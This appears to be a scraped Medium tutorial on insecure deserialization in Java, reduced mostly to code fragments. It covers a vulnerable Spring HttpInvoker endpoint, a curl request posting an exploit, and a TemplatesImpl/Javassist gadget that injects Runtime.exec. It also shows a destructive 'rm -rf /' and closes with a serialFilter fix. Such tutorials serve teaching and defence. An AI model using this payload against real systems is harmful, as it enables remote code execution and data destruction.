Insecure Deserialization Explained With Examples In Java

The problem

client> curl -XPOST -H "Content-Type: application/x-java-serialized-object" http://127.0.0.1:8080/service/toupper --data-binary @exploit.serserver> ls -l /HACKED
-rw-rw-r-- 1 tomas admin 2770 Okt 12 07:40 /HACKED
touch /HACKED
rm -rf /
server> ls -l /
sh: ls: not found

The server

@Bean(name = "/service/toupper")
RemoteExporter exporterServiceRemote() {
var exp = new HttpInvokerServiceExporter();
exp.setServiceInterface(UpperCaseService.class);
exp.setService((UpperCaseService)String::toUpperCase);
exp.setAcceptProxyClasses(false);
return exp;
}
Object obj = ois.readObject();

The exploit

class Vulnerable implements Serializable {

Object object;
String property;

transient String info;

void readObject(ObjectInputStream ois)
throws Exception {
ois.defaultReadObject();

// doing some reflection here
Method method = object.getClass()
.getMethod("get" + cap(property),
new Class[]{});
info = method.invoke(object, null)
.toString();
}

}
loader.defineClass(this._bytecodes[i]);
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(
StubTranslet.class.getName());
String cmd = "touch /HACKED";
clazz.makeClassInitializer().insertAfter(
"Runtime.getRuntime().exec(\""+cmd+"\");");
static  {
try {
Runtime.getRuntime()
.exec("touch /HACKED");
} catch (IOException e) { }
}
byte[] bytes = clazz.toBytecode(); 
setFieldValue(templates,
"_bytecodes", new byte[][]{bytes});
TemplatesImpl exploit = createExploit(cmd);
setFieldValue(vulnerable, "object", exploit);
setFieldValue(vulnerable, 
"property", "outputProperties");

The fix

jdk.serialFilter=java.lang.Class;java.lang.Object;java.lang.String;org.springframework.remoting.support.RemoteInvocation;!*
ObjectInputFilter REJECTED: class com.ttulka.Vulnerable

Source code

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store